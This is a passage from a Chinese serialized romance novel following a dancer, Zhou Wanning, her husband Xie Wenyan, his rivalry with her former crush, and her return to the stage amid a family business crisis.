本该是让人脸红心跳的场面,可谢温言戴着金丝框眼镜,像是研究飞机火箭一样专注认真,但也有些生无可恋的样子。 她不想再待下去, 却不小心撞到门把手,害自己呼痛出声。 那时,谢温言循声抬眸看来, 黑沉的眸光,晦涩不明。 比她溜走的脚步更快的是谢温言追来的步伐。 他将她堵在走廊尽头,随后牵起她的手走向了影音室。 那天,他们一起观摩了一会儿别人是怎么做的。 最后他伸手捂住她渴求知识的眼睛,关掉投影仪,随即将她抱着跨坐在他身上。 她垂着头不敢看他,是他抬起她的下巴,随即仰头吻上她的唇。 之后的一切水到渠成。 那时候,她才发现谢温言学什么都很快。 当天影音室里的动静很晚才停下,沙发套也湿透了。 最后,还是他亲手洗的…… 回忆到这里,周绾宁翻了个身,将羞红的脸埋在枕头上。 不知道过了多久,她才稳稳进入梦乡。 然而次日用早餐时,谢温言缺席了。 周绾宁才意识到他可能真的为昨天的事,生了她的气。 以往他都会陪她吃早餐。 虽然今天明潇也在,但他早一步去了公司,并没有告诉她…… 周绾宁看着往常都会两片煎蛋的碗里,此时只有一片煎蛋,心里有些不是滋味。 而早上五点,谢温言就醒了。 因为床上有周绾宁的气息,他一开始未反应过来昨晚两人没睡在一起。 他下意识想把人捞回来锁在怀里,填充空落落的心脏和怀抱,谁知半天没在床上摸到她。 一霎那,谢温言像是失去了什么一样,在一个激灵后清醒过来,准备去满世界地找她。 但意识到她只是在隔壁和明潇睡后,又默默松下一口气。 随后他收拾收拾,在健完身泻完火后,一早就去了公司。 但从他踏进64层开始,整一层楼的气氛从原先的清闲变得沉闷不已。 办公室所有人都不敢大声说话。 因为今天谢温言明显是燥郁的。 “或者说是……”林晗躲在裴特助身后,补上一句话,“欲求不满。” 裴特助侧头看了自己身后虎头虎脑的小玩意,忍不住嗤笑:“你这话,要是被他听到,可就完了。” “所以今天的雷,你负责踩。” 裴特助无奈一笑,拿起报表走进去汇报。 大约半个小时后,裴特助汇报完毕。 谢温言也收到了桐姨的消息,说周绾宁乖乖按时按点吃完了早餐。 他将手机放下,看向裴特助:“跟京舞团的领导约个午饭,我有合作跟他们谈。” “好。” “上次的黑热搜有眉目了吗?” 裴特助拿出另一份汇报表给他:“是……沐家大小姐干的。” 听到这个答案,谢温言面无表情,似乎早就料到会是她。 谢温言想了下,又道:“你去一趟京舞团。昨天下午我夫人去那初试了,我记得一般初试会有视频录制,你帮我去要一份,然后还有她晕倒前后的视频。” “好。” * 恒星商务会所。 谢温言一边喝着咖啡,一边观看手机里周绾宁的舞姿。 《玉观音》,他母亲的成名之作。 光是视频上看她的跳跃旋转甩水袖,都觉得震撼。 如果是现场亲临观看,他该多么为她骄傲—— 他的爱人跳了他妈妈的舞,演绎得不输他妈妈。 这不禁让他想起他妈交给他的那些“见面礼”。 一共分为两份。 一份是如果他的妻子未来不跳舞,那就是一个母亲对她的孩子和儿媳的祝福,一些金首饰、房产证和一些股权书。 另一份,如果他的妻子未来是跳舞的,那么这份礼物,是她私下编排的舞蹈。如果完成得好,未来可以去冲奖。 𝑪𝑹 这对每个舞者来说,都算意义重大。 也是他妈妈对她儿媳在事业上的支持。 谢温言有些欣慰。 现在周绾宁愿意重回舞台,剩下的,就交给他了。 他将手机放下,起身迎接京舞团的领导,一个年纪大约跟他母亲差不多,气质也很优雅的女性。 “温言,今天怎么来找阿姨喝咖啡了?” “林姨,我有一个请求。” 谢温言将昨天的事大致说了一下,又将周绾宁跳舞的视频交给了林致。 看到视频的林致,眼神里都是赞许和求贤若渴的光芒:“这个跳得好呀,跳的竟然还是你妈妈的《玉观音》,一点也不输当年你妈妈的风姿。” 谢温言嘴角微勾。 周绾宁能得到京舞团领导的夸赞,他是与有荣焉。 “不过,这不是昨天京舞团初试的场景吗?”林致觉得好奇。 “嗯,是京舞团的初试。京舞团一直人才济济,我太太也想去团里得到更好的发展,为此,她准备了很多。” 谢温言想起她上次被困幼儿园舞蹈教室的事情,估计也是在练习这个舞蹈。 “从这段舞蹈里,林姨你也能看出她的功底不错。据我了解,绾宁是好几届少年桃李杯大赛的冠军,18岁就有了自己的巡演。我说这些倒也不是质疑京舞团选拔的结果,只是想从晚辈的角度,向林姨您讨教一二,到时候方便我帮助绾宁进行复盘。” 林致大概明白了谢温言的意思,有些抱歉:“昨天我去沪市进行舞蹈交流,把选人的权利交给了下面的人,没能亲自观赏她的舞姿。但今天你给我看了视频,我也是打心底觉得很惊艳!” “这功底、这细节处理能力、无论是身形还是舞技,别说是录取了,就是我亲自去邀请她加入我们京舞团,我也是甘愿的。” 林致想了想,“不过绾宁?这个名字我很有印象。” 谢温言不意外。 周绾宁以前在学校,就是很多舞团在抢的学员。 但听他说了这点后,林致笑着摇摇头:“不是这个原因,你忘了?她那时候差不多是五岁,你倒是十岁了。她爸爸很支持她跳舞,拖了各种人脉关系,把她从沪市送到了你妈妈这学习跳舞。虽然就待了几周,可你小时候皮啊,愣是把小宁宁弄哭过好几次。” 谢温言喝茶的动作一顿。 原来……他和她不止有现在的缘分。 意识到这点的谢温言,心神动荡。 林致再次看了看手中的视频,眼底满是欣慰:“要是你妈妈知道她的关门弟子,现在能这样完美地继承她的衣钵,不知道该有多高兴。” “林姨。所以……绾宁她还有希望进京舞团吗?我知道京舞团的选拔很严格,但她天赋不低,我不想她失去这个机会。” 既然她重拾舞蹈,他自然要给她鼓励和支持,就算是想请林姨卖人情,他也厚着脸皮亲自上了。 林致给了肯定答案:“她当然有资格进去。也怪我,难得这一次没出席初选,结果手底下的人办事不牢靠,倒是差点错过这棵好苗子。我会交代下去,重新给绾宁发送录取通知。她的优秀,都已经不需要再进行复试了。” 林致说这些,没带一点和谢温言的交情,而是对好苗子的肯定。 “等等,刚刚我还没反应过来,你说绾宁现在是你的太太?” 林致很是新奇,“之前就知道你结婚了,没想到会是和绾宁。果然,小时候欺负她的债,长大了是要好好疼人家还的。” “小时候我……怎么欺负她的?”谢温言正色道。 如果小时候不懂事的自己欺负她很厉害,有必要去跟她道个歉。 林致笑:“你误会家里的养乐多是你妈妈给你买的,看到小宁宁在喝,就缠着她要。小宁宁不愿意分享给你这个坏哥哥,你就偷偷喝光了她爸买给她的三板养乐多。” “……” 林致宠溺地补充:“然后你拉了一天的肚子。” “……” * 当天,沐黎在接到团长的电话时,原本还在美滋滋地和经纪人约下午茶,在听到团长怒斥她为什么把周绾宁这样的苗子落选后,她不禁正襟危坐起来。 林致掌握着京舞团所有人的生杀大权,就算自己现在是京舞团的一把手,也不敢不给林致面子。 林致生气起来,是说开除就开除的,没人敢去触碰她的底线。 “团长我……” “我看过周绾宁的跳舞视频了,你没让她过初试,我知道你想的是什么。沐黎,我的团队,要的是对舞蹈的热爱,不是勾心斗角,也不是打压更优秀的人!你做错的事,别想着让我给你擦屁股。下周前,我要见到周绾宁出现在京舞团的复试上!” “是,团长。但我……” 沐黎的话还没说完,林致果断挂了她的电话。 意思是无论如何她自己负责处理好这件事。 陈潇芸看出有情况发生,不解地问:“这是怎么了,刚刚还高高兴兴的,突然就垮下了脸,林团长说你了?” 沐黎把手机往桌面上一丢,头疼扶额:“她怎么知道周绾宁去参加初试了?还为此责骂我。” 进京舞团开始,她一直都是团里的掌上明珠,从没有这样挨骂过,都是因为周绾宁。 陈潇芸过来安抚她,让她别太生气,气坏身子不值当。 这时,一旁正刷着手机的助理,忽然低呼一声:“哇靠,姐,你上热搜了!” “咋呼什么!”低斥一声吼,陈潇芸不免疑惑,“不过最近没有什么活动,怎么上热搜了?” “是、是姐之前和几个男模亲密海外游的合照!还有很多人带节奏让那些你好不容易培养起来的和谢温言的cpf,对你进行回踩。” “什么?!”沐黎一把扯过助理的手机查看热搜。 只见热搜上铺满了自己在国外游艇上度假的照片。 这些照片她都曾经在ins小号发的,和男模在一起的,没有露脸的照片。 可现在铺在热搜上的,却是当天自己和两个男模的合照,衣着还有姿态都不是很符合她现在对谢温言的痴情人设。 沐黎回忆起照片是谁拍的后,给其中一个男模打去了电话。 男模接电话后表示,有人花了些钱从他手里买了这些照片,钱给的很多。 沐黎当即用英文怒骂了一句,挂断电话。 陈潇芸猜测:“是同行要搞你?” “不,是谢温言。” 她反应极其迅速地将林致和热搜的事情联系在一起,搞明白了所有。 只有谢温言的报复会这样快准狠。 她再也没有心情吃下午茶,而是立马驱车狂奔向盛坤集团。 到了64层,她不顾总裁办助理的阻拦,直接闯进了谢温言的办公室。 他抬眸看来,用手撑了下鼻梁上的金丝框眼镜,对她身后追过来的助理道:“下去吧。” “是。”助理离开,还带上了办公室的门。 沐黎看着冷情的谢温言,终于好似控制不住,控诉出声:“谢温言,我们认识多久了,你至于为了那个女的,拿热搜报复我吗?” 谢温言眼神淡漠:“她不是那个女的。请你对我的妻子放尊重些。还有,你敢把她送上黑热搜,就得做好被我知道后,报复回来的准备。” “你!”沐黎气急,“她到底有什么好?跟你结婚那么久,心里没有你,就连喜欢跳舞都不跟你说。你还为了她去找林团长说情,为了她欠林团长一个人情,至于吗?” “沐黎,你没有资格质问我。” 谢温言合上手上的合同,又看到此刻周绾宁发来的消息,问他可不可以去幼儿园接她回家。 虽然昨晚有些气到,但周绾宁的要求,他都愿 春鈤 意完成。 于是他回复她的消息:【好,半个小时后到。】 沐黎气急:“谢温言,据我所知她有一个暗恋了多年的人,现在那个男人回来了。我想,你和周绾宁的婚姻已经岌岌可危了吧。” 谢温言站起身,眼神暗狠,还带点疯:“你觉得,我想要的人和要做到的事,是会轻易放手和放弃的吗?” “那个人从哪来的,我会让他滚回哪去,但周绾宁永远在我怀里。” “至于你……你的热搜还会挂上两天,如果你用你家的人脉让这个热搜下了,我还有别的把柄把送你上去。我从不屑用权势打压任何人,但不包括那些敢欺负我妻子的人。” 说完,他神情淡漠地离开了办公室,留下无措的沐黎。 第29章 懊恼 看到夫妻两个亲热,您,不该回避…… 周绾宁是在下午三点, 收到了岑霜导师的邀请。 【我有朋友在京舞团当初选的评委,看到你去初试了, 说你那么优秀,上面却没让你通过。老师知道京舞团一直是你的理想,也没想借着旧情逼你来我的霜舞工作室。但如果你愿意在另一个舞台发光发热,老师这儿真的欢迎你的到来。】 周绾宁觉得老师这样真诚地邀请自己了,便不再推拒:【老师,我去京舞团初试是想知道自己如今的功底在哪,虽然最后没过, 但我心里也有数了。如果您霜舞工作室还愿意为我敞开大门, 我愿意加入。】 岑霜的语气明显松了一口气:【虽然老师现在的工作室还不大, 但老师相信, 有你的加入,以后一定会红红火火的。】 周绾宁发去一个抱抱的表情包。 岑霜也不客气:【我这次腿伤了,但我承接了一周后的晚会表演,绾宁, 你能不能帮老师出席。】 周绾宁有些犹豫:【我现在的舞蹈水平,还没回到最好的时候。】 岑霜:【我看了初选的视频,在老师心里, 你真的很合适。】 随后,岑霜发了一张她腿上打石膏的照片。 岑霜:【我的工作室刚起步,这次机会也是很难争取到的,能在网台上直播的舞台。绾宁,老师拜托你了。】 周绾宁百般纠结, 最后发过去:【好,老师,你把要排的舞发给我, 我最近会加紧练习的。】 这时,放学预备铃声响起,想起自己今天是负责送孩子们出幼儿园的勤劳园丁,她连忙将手机塞到包里,去幼儿园外护送孩子。 今天是周五下班,路上来来回回的车辆有许多,临时还来了不少辅警进行交通管制。 周绾宁看着手表上的时间,勾着嘴角等谢温言来接她。 虽然前天晚上两人之间闹了不愉快,但她现在能感受到谢温言对她的容忍。 她都这样戳一个男人的自尊心了,他竟然还愿意来接她,倒已经不再像合作的甲乙方了,而是真的在一起吵架过后,还能黏在一起的小情侣。 只要他们的关系在吵过架后都能得到有效和解,那么哪天他知道她那么喜欢跳舞,应该也不会因此不再搭理她。 不过有一点很好奇,他妈妈那么喜欢跳舞,为什么他不愿意让她涉猎舞台,这其中是不是有什么误会。 就在她稍微失神间,有一个小男孩看到了马路对面的奶奶,不顾来来往往的汽车直接往对面冲去。 周绾宁伸手去拽他的小书包时,已经来不及。 眼见孩子就要被汽车撞到,她没来得及多想,冲过去从后拥住他,带着他一转,准备用自己的后背抵挡汽车的撞击。 这时,另一个怀抱将她紧紧拥住,用他的身躯包裹着她,将她和孩子一起抱到了一旁。 预期的撞击没有来。 周绾宁因为害怕,禁不住浑身发颤。 但她来不及展现害怕,保持着老师的镇定,率先去查看怀里孩子的异样。 在看到他只是吓得泪汪汪后,忍不住松下一口气。 随后她回头想要感谢身后抱自己躲过汽车的人,却意外撞进一双温冷的双眸里。 看到是周思恒,她愣了下,疏离地后退两步致谢:“谢谢。” 周思恒直起身,简单查看了一下她身上有没有受伤,看见没事,才松下一口气。 正好,车里的司机探出头质问孩子和周绾宁怎么看路的,骂骂咧咧着,语气十分不善。 周思恒冷下延伸,过去跟司机交涉:“这是幼儿园附近,你车速超过三十码,又没观察到斑马线上有孩子,还有理骂人了?开那么快赶着去投胎?” 司机还想回骂,但交警过来对他开了罚单。 等斑马线的绿灯亮起,孩子奶奶也着急忙慌地过来了。 她打骂了两句孩子,又给周绾宁和周思恒道了谢,才领着孩子离开 周绾宁不知道该怎么和周思恒相处,但现在她还要去护送其他孩子,所以在对周思恒点头示意后,她转身离开。 韦老师见她回来,拍拍自己的心口:“刚刚吓死我了,还好那个小伙子眼疾手快把你和孩子救下。” “嗯,很感谢他。”周绾宁微微一笑。 这时,韦老师看向不远处梧桐树后的男人:“那小伙子长得还挺俊秀,你那神秘的对象啊?” 周绾宁摇摇头:“不是。” 韦老师笑:“刚刚人家都舍命救你了,看来对你是很有意思了。果然我们小周老师人好又漂亮,遇到的男生都优质。这男生一看就又有钱又温柔。” “我待会再好好感谢他,先送孩子们吧。” “嗯。” * 劳斯莱斯到幼儿园门口的时候,大门外几乎没什么行人了。 谢温言刚要给周绾宁发消息,恰好看到门口站着两道熟悉的身影。 只一眼,他的眸光便像是凝了霜雪一样寒冷了几分。 因为周绾宁面前站着的人,是周思恒。 原以为他们两年没见,会生疏,会疏离,却是对视而立,侃侃而谈。 谢温言深吸一口气,以来缓和内心的不安。 如果是以前,他或许会退缩。 但这一次,他选择直接推门走出,朝他们所在的方向走去。 那端,周绾宁送走韦老师后,犹豫再三,还是选择感谢周思恒:“谢谢你刚刚救了那个孩子。” 她虽然不会继续从事幼儿园这一行,但会站好工作上的每一班岗,也是想告诉他,她现在是基于一个幼儿园的老师,在对搭救了孩子的有为青年进行道谢。 周思恒听出来了:“你知道的,我舍命救的不是他。”意思是,他要她基于自己被拯救,谢谢他。 周绾宁正要说些什么,一旁快速赶来的挺括身躯撞入她的眼角余光里。 不等她反应过来,站定到她身旁的谢温言伸手搂过她腰,以半包揽的姿势向面前的周思恒宣告他对她的所有权。 “这是……” 谢温言看向怀里的人,眼底的温柔里掺杂了许许多多占有欲,随后又冷漠地对上周思恒。 周思恒也在看他,带着一丝寒霜,片刻后,他的眼神默默落到谢温言揽在周绾宁腰身上的手,瞳孔瞬间凝冰。 周绾宁没有发现两个男人的气氛不对劲。 她仰头看着谢温言,眼底自然而然冒着小星星:“之前跟你有提过,他是我的……小叔叔。” 一开始,周思恒还在好奇周绾宁会怎么介绍自己,此刻听了她说的话,再看向她看着谢温言那双眸带着光芒的模样,心脏一阵抽痛。 这双眼睛曾经也这样看着他,可他没发现。 现在那双眼睛有了它粘着的人,他的小姑娘也不在他身边了。 这时,谢温言朝他伸出手:“你好,我是绾宁的丈夫,谢温言。” 丈、夫? 呵。很快就不是了。 周思恒握住他的手:“我看着绾宁长大,知道她从小喜欢什么样的人,没想到她最后会选择你。” 一句话,让周绾宁万分忐忑。 她暗恋过周思恒的事情,周思恒知道,但谢温言还不知道。 她眼神带着警告地瞪了眼周思恒。 “说明小时候的审美不重要,最终陪在她身边的人,才是她成熟后的慎重选择。”谢温言凑到周绾宁耳边,小声说,“回家了?” 周绾宁整个僵住。 谢温言是个在外人或者不熟悉的人前,十分有分寸感的人,不太会做出现在这样亲昵的姿态。 周绾宁感觉到耳朵被他吹得有些热乎乎的,忍不住瑟缩了下,脸颊不由自主地红透。 她看向他,眨巴了两下眼睛。 刚要回答,这时,周思恒建议:“不如一起吃顿饭?我跟绾宁已经很久没见了,想要叙叙旧。” 周绾宁下意识准 ?????? 备拒绝,谁知,谢温言点头:“好,是该让我这个侄女婿尽地主之谊,好好招待,小叔叔您。” 周绾宁整个人炸了。 她仰头看着谢温言,道:“小叔叔舟车劳顿也累了,温言,不如让他……” 周思恒打断她的话,应下:“好啊,一起吃顿饭,给我说说你有多了解绾宁,让我这个做小叔叔的也可以放心把侄女交给你。” 谢温言笑:“好啊,那就去恒星会所吃饭吧。” 两人眼神里的火丿药味盖都盖不住。 周绾宁垂着脑袋,沉浸在自己的担忧里。 她也不知道为什么会变成这样,如果到时候周思恒发疯透露一些她曾经暗恋过他的事情,谢温言会怎么想。 也是直到这一刻,周绾宁才发现自己好像很在乎谢温言的想法,生怕他知道自己过去喜欢小叔叔的事情。 她准备找个时间对他坦白。 但显然现在并不合适…… * 到了车里,准备出发恒星会所。 会所很近,大概也就五分钟的车程。 但这五分钟,周绾宁陷入了纠结之中。 她看向身侧面无表情的谢温言,不知道该说什么,有些装作不经意地回答:“小叔叔回来的事,我也是最近才知道的,他今天救了幼儿园的小朋友,我答谢他来着。” 谢温言看过来,最后一把将她捞了过去。 “谢温言,你唔……” 他吻住她,不让她说话,只是姿态强势。 “谢……”她想拒绝,李叔还在车里。 谢温言感知到她的意思,伸手将挡板上升,让后面成为私密的空间。 “昨晚这么对我,宁宁不该安抚我受伤的心吗?” 他说的一本正经,眼底似乎还有伤心过后的红色血丝,看着很是伤情。 周绾宁愣住了。 他又道:“我会去学习技术的,给我点时间?” 周绾宁震惊了,瞳孔在地震。 “你现在……”是在撒娇吗? 谢温言竟然也会有撒娇的的时候? 虽然很不明显,也不太像是在对她撒娇,但周绾宁竟然有点get了。 “吻我好吗……宁宁?” 说完,他不等周绾宁反应过来,再次低头吻住她、索求她。 一开始,谢温言还带着点蛮横的强势。 渐渐的,吻钻入她的口腔里,变成了逗弄。 周绾宁根本经受不住他有意无意的撩拨,腰肢很快就被亲软了,软软地塌陷,与他的腰腹贴合。 同时,她的姿态也从一开始的拒绝,到主动伸手勾着他的脖颈回应,用回吻安抚他。 不知道过了多久,她努力圈着他脖颈、用来支撑自己的手无力滑落,靠着他禁锢在她腰上的手,才能勉力支撑住自己。 车不知道何时停在了会所门口。 率先到达恒星会所停车场的周思恒等了半天,都没等到劳斯莱斯上的人下来,他慢慢踱步过去。 而谢温言不比深陷热吻中思维已然紊乱的周绾宁。 他的眼神和思绪显得清明许多。 看到窗外有人过来,他毫不客气地按下窗户。 动静不大,所以沉浸在他怀里的人,压根没发现。 他的视线暗狠地越过周绾宁的脸颊,与外面的周思恒对上,随后,嫉妒心起,他轻轻咬疼周绾宁。 周绾宁发出低呼,以为他还在生气,更加努力吻着他、哄着他。 感受到这点,谢温言以胜利者姿态看向窗外面色阴沉的周思恒,暗带挑衅。 他是不屑用这些手段对付喜欢周绾宁的人的。 但周思恒不一样。 周绾宁喜欢他…… 所以他只能用这么卑劣的手段,让周思恒知难而退。 随即,他继续加强自己的吻,并重新关上窗户,不打算再让周思恒窥探到周绾宁的可口撩人。 车外,周思恒忍不住气笑。 原本面上还无所谓的,但他一闭上眼睛就是刚刚周绾宁沉浸在谢温言的唇下,耳朵绯红,害羞又豁出去似地主动在吻他。 曾经那么喜欢他的周绾宁,用一整个青春喜欢他的周绾宁,怎么会就这么不喜欢了呢。 意识到这点,周思恒猛地睁开眼睛。 他攥紧拳头,敲了敲窗户,打断车里的旖旎。 车内。 听到车窗外传来的敲击声音,谢温言忍不住蹙起眉头,周绾宁则从动情之下惊醒。 她伸手捂住谢温言的双唇,转头看向站在窗外的周思恒,忍不住一个激灵,连忙轻捶谢温言。 “怎么不提醒我到了?” “我也太入迷了。” 谢温言顺了顺她耳鬓的发,又亲了口她的鼻尖。 周绾宁浑身都僵了,她不敢去看窗外周思恒的脸色。 为什么呢,为什么明明她的老公是谢温言,她还不敢去面对周思恒? 大抵因为再怎么,周思恒也曾做过她的小叔叔,是长辈的关系吧。 “你收敛些,毕竟小叔叔还看着。” 谢温言微微勾唇:“好。” 随即他大胆挑衅周思恒,“小叔叔,看到夫妻两个亲热,您,不该回避下吗?” 周绾宁有些懊恼地闭了闭眼睛,将脑袋搁在谢温言的颈窝里,恨不得捂住他的嘴。 早知道就不该答应这两个人一起吃饭。 现在事情好像有点不受她的控制了…… 第30章 危机 好好看看绾宁对我的情书表白。…… 恒星会所包厢里。 上了菜后, 谢温言用热水帮周绾宁烫着碗筷和杯子。 而周思恒将桌面上的菜看了一圈后,目光戏谑地落在谢温言身上:“既然来吃日料, 桌上怎么没有绾宁爱吃的芥末章鱼和扇贝?侄女婿未免有点太不了解她了吧?” 周绾宁喝果汁的手一顿,侧头看向谢温言。 刚要开口为他说话,谢温言已然笑道:“她是爱吃,但绾宁的胃病有些严重,最近几日更是不能碰这些生性刺激的食物。小叔叔不知道吗?那看来你们联系得并不频繁,也没我想象中的了解彼此。” “不熟悉的人可以惯着她,我是她的爱人, 以后要与她过一生, 这些我不可能不注重。” 一句话, 将幼儿园外的火药味延续到了餐桌上。 周绾宁知道周思恒对谢温言可能会像是吃了枪药一样, 但没想到谢温言平日里对待长辈、朋友还算温和谦逊有礼的人,现在竟然也会有那么浓重的敌意,难道这就是情敌的直觉? 是不是到了不得不坦白的时候? 一顿饭下来,周思恒不断用小时候周绾宁的事刺激谢温言。 谢温言则没将他放在眼里。 他专注给周绾宁夹比较温和、适合她吃的熟食。 他还记得她昨天低血糖加胃难受, 进了医院的事。 周绾宁则埋头喝果汁,躲避两个男人时不时投来的探究目光。 直到吃饱喝足,她借口去了趟洗手间, 才逃离越发压抑的包间。 而没了她,包间里的战场直接点燃。 “谢总,好久不见。”周思恒虚虚地抬了一下手中的酒杯。 谢温言原本是不想喝的,但想起自己上次醉酒,周绾宁照顾自己的场景, 他直接大口干了一杯。 “周总,别来无恙。” “上次见你还在国外差点把我恒星集团弄倒闭,现在倒是成了我的侄女婿, 谢总真是好本事。”周思恒原本微微含笑的眼瞬间冷下来,有寒意散出。 “没有周总的本事大,处心积虑弄倒了周氏集团丢下烂摊子交给周家处理,挥挥手一个人跑去国外潇洒,现在还有脸回来?” “谢总不要血口喷人,周氏集团怎么会是 春鈤 我弄倒的,你有证据吗?” “你尽管可以不承认,我迟早找出证据收拾你。”谢温言抬了抬手上的酒杯,喝了一口,“对了,我的妻子绾宁应该还不知道你对周家做了什么,我不想让她觉得自己被周家所有人放弃,所以你最好做好这个小叔叔,别想着越界,也别破坏她心里对你最后的亲情。” “她心里对我只有亲情吗?”周思恒笑着,打开自己的相册,选择了隔空投送,“谢总接一下,好好看看绾宁对我的情书表白。” 谢温言眸色深深地看了眼周思恒。 他没有勇气点开那封情书,不敢去面对承载周绾宁浓烈爱意的书信。 “对了,你不知道绾宁很喜欢跳舞吗,为什么她这两年愣是一场舞台都没有?” 周思恒也算了解周绾宁,知道她肯定不会就此放弃舞蹈。 如果谢温言阻止她重回舞台,周绾宁最后放弃的只会是他。 所以他们的感情不可能像现在表现的那么好。 或许,谢温言根本不知道周绾宁想跳舞这件事。 于是,周思恒补了一句话,“甚至连她去参加初试这种场合,你也不知道吧。” “谢温言,按照我对她的了解,你怕是已经要被她……放弃了吧。” “嗑哒”一声。 谢温言手上的玻璃破碎。 周思恒见自己已经达到吃这顿饭的目的,起身离开。 周绾宁大概是在周思恒走后五分钟回来的包间。 一进门,她便看到谢温言坐在原来的位置上,安安静静地喝酒。 感应到她回来,他抬眸看着她。 脸上的冷然,一点也融不进身后暖色的背景里。 他的情绪十分不好。 周绾宁走过去,并未注意周思恒的行踪,而是径直走到谢温言那边。 她很是关心:“温言,你怎么了?” 男人从伤神中抬起头,隐忍又克制,最后起身来牵她:“没什么,我们回家吧。” “好,那小叔叔他……” 周绾宁这才回头发现周思恒在的位置,并没有人。 谢温言不喜欢她此刻还有心思去注意别人。 他朝后坐下,猛地伸手一扯,将人拉入自己的怀里,让她完全跨坐在他的双膝上、扑进他的怀里。 毫无间隙地贴近,周绾宁轻易便闻到了他鼻息里的酒气。 她愣了下:“温言你……怎么喝酒了?” 刚刚她走后,包间里不是就他和周思恒在吗? 难道两个人在她离开后,进行了友好交流,然后感情好到已经可以一起饮酒,并喝醉的地步了吗。 不过,谢温言的情绪看上去并不像是开心,而是挫败,像一个输家那样的挫败。 他这是……怎么了? 谢温言则眼眸深邃地顺了顺她的发。 他很想问她,是不是像周思恒说的那样,已经准备放弃他了。 “周绾宁……” 他用自己的额头轻轻抵在她的心口处,语调缱绻,“能不能不要抛下我。” “温言,你在说什么?” 周绾宁捧起他的脸蛋,想到上次他说自己喝酒了就会失态,忍不住像哄小孩一样哄他,“谁说我要丢下你的,谢温言最乖了,那么乖的宝宝,老师怎么会丢下你呢?” 谢温言眼尾露出一丝无奈。 他深吸一口气,问了一句:“周绾宁,我想问,你的未来还有没有我?” 他眼尾微红,像来沉稳的人,失去了以往在商场上引以为傲的骄傲。 很少见他这么严肃认真,以往他问问题,都是哄她回答的多。 周绾宁心一沉:“怎么这样问?我的未来当然会有你。” “那么……” “为什么你从不肯告诉我,你想重回舞台的事?周绾宁,你不觉得你把我放在了你未来的人生里。” 一直埋藏在心里的刺,突然在这时候被他重新拔出来,周绾宁整个人都不对劲了。 她眨巴了两下眼睛,眼底有慌乱,有些没想到这一天来得那么快。 她一直以为自己隐藏得很好,没想到谢温言还是察觉了吗?所以他的态度是怎样的? 这一刻,周绾宁慌乱大于一切。 因为她发现自己一个劲想逃避的矛盾,终于到了谢温言都察觉、并主动开口询问的时候。 那么一切似乎就走到头了。 无措与伤感盈满了她的心脏,难过突袭她的泪腺。 她点头承认:“是,我隐瞒了你,不想你知道这件事。” “为什么?”谢温言皱了皱眉头,“你是觉得我不会让你回舞台?” “难道不是……”吗? 就在这时,谢温言的手机铃声响起,打断了周绾宁的话。 谢温言拿出手机看了一眼,是公司的董事打来的电话。 他没接,丢开手机,准备继续和周绾宁交涉这件事。 这时,又一个电话打来,是老爷子的电话。 周绾宁自己心里也很乱,想着该怎么跟他从头说出来,便让他先接电话:“我们的事,回家再说。” 她怕待会自己情绪太激动,离开会所的时候,是哭着的,不太好。 谢温言一手搂着她的腰,让她离不开自己的怀抱,也方便打完电话后继续“审讯”。 “喂,爷爷。” “温言,快回家一趟,出事了。”电话对面是孙姨的声音。 “孙姨,怎么了?” “你继母用公司你父亲的公章私下签了一个单子,瞒着你的父亲,现在那个单子暴雷了,损失至少三个亿。你父亲被带走审讯了,你爷爷刚刚气得进了医院。” 谢温言也是被惊讶得第一次表情管理失控:“什么?” 周绾宁也听见了电话里的荒唐事。 这个消息里最严重的不是三个亿的钱,而是谢书俊进了局子,去受审讯了。 这对整个谢家来说都是大事。 谢温言头疼地闭了闭眼:“好,我立马回公司处理。” 打完这个电话,他收下手机,伸手轻轻抚过周绾宁的眉心:“关于你想重回舞台的事情,等我回家再跟你好好聊。不过,有一件事希望你能心里清楚。” “什么?” “别想着离开我。” 说完,他放她下去,并站起身。 周绾宁好奇:“那你什么时候回来?” “我会尽快。”说着话,他回过头看着她,像是在等什么。 周绾宁虽然不知道他们今后的走向是什么,只想在现在与他好好的,她凑近,踮起脚尖吻了一口他的唇。 谢温言低下头,贴着她:“你跟李叔回家,我会让裴特助来接我。还有,不需要再去别的地方跳舞了,以免像上次那样在幼儿园遇到危险,在家练习吧,影音室旁边的房间,就是舞蹈室。” 说完,他又亲了一口她的额头,转身离开。 周绾宁有些愣住了。 原来家里就有舞蹈室吗,她住在里面那么久,竟然都没有发现…… * 回到梧桐湾后,周绾宁去的第一个地方不是卧室,而是谢温言为她指明的舞蹈室里。 梧桐湾下的影音室很大,舞蹈室比影音室还大一倍。 里面的器械很齐全,还有一整面墙的落地镜。 想来这间舞蹈室,自她入住前就已经存在的。 应该是温老师留下来的。 周绾宁用指尖轻轻滑过这间舞蹈室的每一个角落,眼神里有着向往。 如果谢温言愿意让她重回舞台,那这间房间以后就是她的专属了,她也会好好学习温老师的舞蹈,如果哪天谢温言怀念温老师,她就跳给他看。 但如果他不愿意…… 周绾宁叹息一声,别无他法,只能离开这个守护了她两年的安全堡垒。 之后的几天,周绾宁都在家里好好练舞,也会去医院代忙碌的谢温言对谢老爷子尽孝。 谢老爷子有些中风,说不出话来,但看着绾宁眼眸里还是很感动的。 “爷爷,我知道你之前不太喜欢我,觉得我不适合做你的孙媳妇,我呢,也挺不喜欢你这个老古板的。” 谢老爷子露出苦笑,想要张嘴说些什么,但一个字都说不出来。 “好啦,我知道你的意思。谢温言和我就只剩下你一个爷爷了,我会把你当做我的亲爷爷一样对待,不会公报私仇的。” 谢老爷子无奈摇摇头。 就在周绾宁还在跟老爷子逗趣的时候,病房的门打开了。 是谢霜鄞带着沐黎来探望老爷子了。 虽 𝑪𝑹 然知道在医院里肯定会与谢霜鄞打照面,但在看到她和沐黎的这一刻,周绾宁还是觉得厌烦。 她拿起包,对老爷子说下次再来看他,老爷子呜呜了两声,还是没留住周绾宁。 直到沐黎出声:“站住。” 周绾宁离开病房的步伐一顿,好奇回头看她:“怎么?” “经过我们京舞团确认视频与一直商讨后,决定重新给你一个机会,让你去参加复试。” 周绾宁微微蹙眉:“你不是说,有你在,我绝对进不了京舞团吗,现在是在干什么?” “你……问那么多干什么,只管答应就好。” “说让我别妄想进京舞团的是你,现在求我进去的也是你?沐黎,能前后统一下吗?” “谁求你了?”沐黎下意识反驳。 周绾宁感觉到可笑。 她大抵知道今天沐黎为什么这么说了。 怕是周思恒用他股东的身份对她施压了,要她负责把她再叫回京舞团去。 她既不会接受周思恒所谓的示好,自然也不会理会沐黎要她回去的要求。 “我不会去京舞团,它已经不是我的首选。我已经签约了别家。” “周绾宁,你别给脸不要脸,不去京舞团你还能去哪,这是京市乃至全国培养职业舞蹈家最好的土壤。” 